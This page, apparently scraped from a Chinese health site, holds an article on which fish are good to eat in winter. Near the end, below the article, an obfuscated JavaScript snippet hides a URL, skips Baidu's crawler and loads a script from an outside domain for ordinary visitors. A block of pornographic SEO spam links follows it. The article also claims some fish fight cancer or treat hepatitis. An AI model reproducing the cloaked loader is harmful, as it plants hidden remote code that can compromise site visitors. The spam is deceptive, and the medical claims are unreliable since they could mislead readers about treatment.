<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

      冬季吃哪些魚養(yǎng)生效果好

      2016-01-11 20:34:09  來源:360常識網(wǎng)   熱度:
      導(dǎo)語:魚是人們餐桌上常見的食物,魚的功效與作用,相信大家都有所了解。那在冬季的時候要吃什么魚養(yǎng)生效果才好呢?下面一起來看看吧。

      冬季吃哪些魚養(yǎng)生效果好

      冬季吃哪些魚養(yǎng)生效果好

      冬季多吃魚不僅可以補充營養(yǎng),還能滋潤皮膚、增強抵抗力呢!魚有著極高的營養(yǎng)價值,常吃魚可以預(yù)防疾病,防癌等功效。但是冬季吃魚一定要應(yīng)季。冬季吃哪些魚養(yǎng)生效果好呢?下面跟小編一起來看看吧。

      冬季吃哪些魚養(yǎng)生效果好

      1、鱸魚

      鱸魚有越冬的習(xí)性,在江浙一帶,一般當(dāng)年12月到次年3月,鱸魚是不進食的,僅依賴體內(nèi)脂肪儲存的能量生存。冬天的鱸魚,只掉肥不掉肉,冬季養(yǎng)殖場停止喂食,水質(zhì)也更清澈,魚肉的腥味淡了,味道更鮮美。

      鱸魚含有豐富的、易消化的蛋白質(zhì)、脂肪、維生素B、尼克酸、鈣、磷、鉀、銅、鐵、硒等。中醫(yī)認(rèn)為鱸魚性溫味甘,有健脾胃、補肝腎、止咳化痰的作用。冬天,鱸魚肥腴可人,肉白如雪,魚肉細(xì)膩,是最好的品鱸魚季節(jié)。

      2、鯽魚

      俗話說“冬鯽夏鯉”,立冬以后,正值鯽魚產(chǎn)卵期,肉肥籽多,滋味鮮美。鯽魚可開胃健脾、利水消腫、滋養(yǎng)通乳、清熱解毒,對治療脾胃虛弱、食少乏力、腎炎水腫、肝病腹水、產(chǎn)后缺乳、痢疾、便血等癥有直接或輔助療效。

      鯽魚紅燒、干燒、清蒸、做湯均可,但尤以燉湯最為普遍。說到燉湯,鯽魚有3個好搭檔,那就是白蘿卜、豆腐和冬筍,用它們分別與鯽魚燉湯,不但味道鮮,而且營養(yǎng)好。需要提醒的是,鯽魚雖好,但并不適合所有的人,感冒發(fā)熱期間不宜多食鯽魚,陽虛體質(zhì)和有內(nèi)熱癥狀的人也不能食用。

      3、草魚

      草魚含有豐富的不飽和脂肪酸,對血液循環(huán)有利,是心血管病人的良好食物;草魚含有豐富的硒元素,經(jīng)常食用有抗衰老、養(yǎng)顏的功效,而且對腫瘤也有一定的防治作用;對于身體瘦弱、食欲不振的人來說,草魚肉嫩而不膩,可以開胃、滋補。

      草魚與豆腐同食,具有補中調(diào)胃、利水消腫的功效;對心肌及兒童骨骼生長有特殊作用,可作為冠心病、學(xué)脂較高、小兒發(fā)育不良、水腫、肺結(jié)核、產(chǎn)后乳少等患者的食療菜肴。

      4、青魚

      青魚富含硒、碘、鋅元素以及核酸,有抗衰老和抗癌的作用,常用于食療。青魚體內(nèi)含有多不飽和脂肪酸,可以擴張血管,防止血液凝結(jié)。青魚適宜水腫、肝炎、高血脂、高膽固醇、動脈硬化患者食用,不適宜脾胃虛弱、氣血不足和患有瘙癢性皮膚病的人食用。

      青魚油脂較多,適合烤著吃,保證肉的鮮嫩度。

      5、小黃魚

      農(nóng)歷十二月的小黃魚,肉質(zhì)肥美,鮮嫩無比,入口即化。黃魚肉嫩味鮮少骨,自古有“瑣碎金鱗軟玉膏”之譽。中醫(yī)認(rèn)為,黃魚有和胃止血、益腎補虛、健脾開胃、安神止痢、益氣填精之功效;對貧血、失眠、頭暈、食欲不振及婦女產(chǎn)后體虛有良好療效。

      優(yōu)質(zhì)的黃魚呈金黃色,有光澤,鱗片完整不易脫落,肉質(zhì)堅實,富有彈性,眼球飽滿突出,角膜透明,魚鰓色澤鮮紅或紫紅,腮絲清晰。無異味。新鮮黃魚如果要儲存,先去除內(nèi)臟和魚鱗,擦凈水分,放入保鮮袋,在冰箱冷藏室可保存2天。在冷凍室可長期保存。

      6、泥鰍

      泥鰍有藥用價值,有補中益氣、養(yǎng)腎生精的功效。泥鰍富含亞精胺和核苷,能增加皮膚彈性和濕潤度,并提高身體的抗病毒能力。泥鰍適宜身體虛弱、脾胃虛寒、體虛盜汗的人食用,對急性黃疽型肝炎的治療十分有益。

      泥鰍可能帶有寄生蟲,所以不能生吃,宜燉著吃。

      轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 亚洲伊人久久大香线蕉综合图片| 天天干天天色综合| 色噜噜狠狠色综合久| 亚洲AV综合色区无码一区爱AV | 色欲综合一区二区三区| 丁香五月亚洲综合深深爱| 欧美国产综合欧美视频| 国产美女亚洲精品久久久综合| 综合欧美亚洲日本一区| 婷婷五月综合色视频| 欧美综合图区亚洲综合图区| 东京热TOKYO综合久久精品| 伊人色综合久久天天人手人婷 | 精品亚洲综合久久中文字幕| 亚洲欧美乱综合图片区小说区| 久久99国产综合精品| 久久99亚洲综合精品首页| 综合亚洲欧美三级| 久久久久亚洲AV综合波多野结衣 | 色综合网站国产麻豆| 亚洲色偷偷偷鲁综合| 亚洲伊人久久综合中文成人网| 伊人久久综合无码成人网| 亚洲丁香色婷婷综合欲色啪| 亚洲欧美日韩综合网导航| 一本色综合网久久| 丁香五月亚洲综合深深爱| 综合在线视频精品专区| 综合欧美亚洲日本| 色欲天天婬色婬香视频综合网| 亚洲综合久久综合激情久久| 一个色综合导航| 色偷偷91久久综合噜噜噜噜| 天天干天天色综合| 国产亚洲综合久久系列| 欧美αv日韩αv另类综合 | 狠狠色伊人亚洲综合网站色| 色综合.com| 亚洲欧美国产日韩综合久久 | 自拍三级综合影视| 中文字幕亚洲综合久久2|